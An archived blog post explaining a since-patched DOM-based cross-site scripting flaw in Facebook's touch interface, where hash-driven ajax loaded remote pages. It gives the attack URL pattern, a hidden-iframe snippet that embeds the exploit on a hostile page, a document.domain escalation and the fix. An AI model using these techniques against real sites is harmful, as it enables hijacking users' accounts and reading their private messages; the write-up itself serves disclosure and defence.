

Hacking Facebook with HTML5

Hacking Facebook with HTML5 - Author not stated, m-austin.com.

- Published: date not stated
- Original: <<http://m-austin.com/blog/?p=19>>
- Preserved from: <http://m-austin.com/blog/?p=19> (stored) on 2026-08-09
- Capture timestamp: 20150104030514
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

HTML 5 does not do much to solve browser security issues. In fact it actually broadens the scope of what can be exploited, and forces developers to fix code that was once thought safe.

For example HTML5 introduces [HTTP access control](#) or [Cross-Origin Resource Sharing](#). This allows the browser to make ajax requests cross domain. It introduces new headers so that a service can block remote sites from being able to run non authorized requests, but the client actually needs to **add** javascript to confirm the origin of the request.

The Exploit

!

Lets look at the facebook touch page touch.facebook.com (iphone web interface). There are a few things you should notice:

- If you are logged in to Facebook, you are automatically logged in to this page. Some awesome magic session lets this happen.
- If you click on any URL you see the links dont actually change the page but load them with ajax. <http://touch.facebook.com/#profile.php> actually loads <http://touch.facebook.com/profile.php> into a div on the page.
- This interface does not do any actual frame breaking only clickjacking protection, which really doesn't matter for what we want to do.

Javascript takes everything after the hash ([#profile.php](#)) and does an ajax request. It takes the content from the ajax and loads it into a div on the page. The problem is this is not restricted to relative or local URLs. The attacker could load a remote url because of this HTML5 "feature". Before HTML5 this would have caused an error and never loaded the content. The request is done client side, so server side param filtering (or [WAF](#)) will not help. To exploit this all we need is a PHP page with some extra headers:

<http://touch.facebook.com/#http://example.com/xss.php>

The Code

Because the content of our payload is set with "innerHTML" we can't just plug in a <script> tag and expect it to work, but other events will fire. In this example we simply make an image with a bad *src* and an *onerror* handle.

Now we can load a remote script to do the work for us:

Because facebook does not bust out of this frame we can simply place the xss in a hidden iframe on an evil site.

```
<iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe>
```

Now when a user views the evil site the hacker has full control over touch.facebook.com. The attacker can:

- Know who you are
- See your photos
- Read messages
- Read sent messages
- Send messages
- Read most private data (e-mail, phone, friends)
- Add friends
- Post comments

But lets assume that's not enough. What if we need access to facebook.com for some reason. Maybe we want to take over a facebook app owned by the user.

For this we are going to use: "document.domain". Because http://touch.facebook.com is a sub-domain of http://facebook.com in our javascript/xss we can define document.domain on touch to be facebook.com. This will allow us to talk directly to facebook.com

This was all done client side. Ajax loaded the payload then we used DOM to load the iframe for the rest of the exploit. The hash part of the url is not sent to the server making it almost impossible for facebook to know what was exploited.

The Fix

Facebook could simply force all urls to be relative to the base url by adding '/' to the front of all requests before sending ajax.

Also the XHR now supports an origin attribute from the request, so facebook could check that the origin matches facebook.com before loading in the content.

Things to Note

Facebook is not alone in this exploit, I have notified other sites and jquery libraries which suffer from this same attack.

Cross-Origin Resource Sharing is currently available in Firefox 3.5, Safari 4, and Google Chrome 2. IE8 supports CORS with the XDomainRequest function instead of the existing XMLHttpRequest.

UPDATE: This issue was reported on 7/13 resolved by facebook on 7/14 (amazingly fast and unexpected response time!)

Archived from <http://m-austin.com/blog/?p=19>. Rendered offline from the local Markdown copy.